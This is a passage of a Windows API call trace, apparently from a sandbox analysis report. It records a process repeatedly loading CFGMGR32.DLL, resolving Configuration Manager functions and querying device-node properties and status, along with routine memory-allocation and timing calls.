0x67117d268 [0200.922] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7beea0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.922] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7beea8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.922] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7beeb0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.923] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7beeb8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.923] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7beec0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.924] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0200.924] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855860) returned 1 [0200.924] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0200.924] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0200.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0200.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0200.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0200.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0200.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0200.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0200.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0200.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0200.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0200.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0200.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0200.927] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0200.927] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0200.927] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0200.927] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0200.927] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0200.927] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0200.927] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0200.928] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0200.928] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0200.928] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0200.928] malloc (_Size=0x18) returned 0x196ef0d1f60 [0200.928] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0200.933] malloc (_Size=0x48) returned 0x196ef0fb810 [0200.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x589fec4d, dwHighDateTime=0x1d9eb0c)) [0200.934] SetEvent (hEvent=0x248) returned 1 [0200.941] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0200.941] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0200.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0200.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0200.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0200.942] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0200.943] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0200.943] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0200.943] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0200.943] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0200.943] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0200.943] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0200.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0200.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0200.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0200.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0200.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0200.944] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0200.945] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0200.945] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0200.945] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0200.945] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0200.945] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0200.945] malloc (_Size=0x18) returned 0x196ef0d19a0 [0200.946] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0200.946] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0200.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x58a1cf79, dwHighDateTime=0x1d9eb0c)) [0200.946] SetEvent (hEvent=0x248) returned 1 [0200.952] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0201.157] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0201.157] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0201.157] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0201.158] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0201.158] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0201.158] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0201.158] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0201.158] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0201.158] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0201.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0201.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0201.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0201.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0201.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0201.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0201.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0201.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0201.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0201.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0201.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0201.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0201.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0201.162] malloc (_Size=0x18) returned 0x196ef0d1de0 [0201.162] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0201.162] malloc (_Size=0x48) returned 0x196ef0fb720 [0201.162] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x58c15a6d, dwHighDateTime=0x1d9eb0c)) [0201.163] SetEvent (hEvent=0x248) returned 1 [0201.166] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0201.166] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0201.166] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0201.166] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0201.166] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0201.166] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0201.167] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0201.167] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0201.167] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0201.167] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0201.167] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0201.168] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0201.168] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0201.168] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0201.168] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0201.168] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0201.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0201.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0201.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0201.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0201.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0201.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0201.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0201.172] malloc (_Size=0x18) returned 0x196ef0d20e0 [0201.172] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0201.172] malloc (_Size=0x48) returned 0x196ef0fc120 [0201.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x58c3c899, dwHighDateTime=0x1d9eb0c)) [0201.173] SetEvent (hEvent=0x248) returned 1 [0201.177] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0201.177] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0201.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0201.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0201.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0201.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0201.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0201.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0201.179] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0201.179] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0201.179] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0201.179] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0201.179] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0201.179] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0201.179] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0201.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0201.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0201.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0201.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0201.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0201.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0201.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0201.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0201.181] malloc (_Size=0x18) returned 0x196ef0d1de0 [0201.181] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0201.187] malloc (_Size=0x48) returned 0x196ef0fc030 [0201.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x58c61e52, dwHighDateTime=0x1d9eb0c)) [0201.187] SetEvent (hEvent=0x248) returned 1 [0201.189] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0201.189] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0201.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0201.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0201.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0201.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0201.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0201.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0201.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0201.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0201.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0201.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0201.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0201.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0201.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0201.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0201.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0201.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0201.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0201.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0201.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0201.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0201.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0201.193] malloc (_Size=0x18) returned 0x196ef0d1a80 [0201.193] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x33, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0201.193] malloc (_Size=0x48) returned 0x196ef0fc170 [0201.193] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x58c61e52, dwHighDateTime=0x1d9eb0c)) [0201.193] SetEvent (hEvent=0x248) returned 1 [0201.197] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0201.197] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0201.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0201.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0201.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0201.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0201.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0201.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0201.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0201.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0201.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0201.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0201.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0201.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0201.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0201.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0201.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0201.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0201.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0201.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0201.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0201.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0201.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0201.203] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0201.203] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x33, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0201.203] malloc (_Size=0x48) returned 0x196ef0fc120 [0201.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x58c8854e, dwHighDateTime=0x1d9eb0c)) [0201.204] SetEvent (hEvent=0x248) returned 1 [0201.393] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0201.393] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0201.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0201.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0201.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0201.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0201.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0201.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0201.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0201.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0201.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0201.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0201.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0201.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0201.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0201.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0201.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0201.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0201.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0201.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0201.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0201.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0201.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0201.396] malloc (_Size=0x18) returned 0x196ef0d1e60 [0201.396] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0201.397] malloc (_Size=0x48) returned 0x196ef0fc0d0 [0201.397] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x58e5250e, dwHighDateTime=0x1d9eb0c)) [0201.397] SetEvent (hEvent=0x248) returned 1 [0201.401] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0201.401] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0201.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0201.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0201.401] 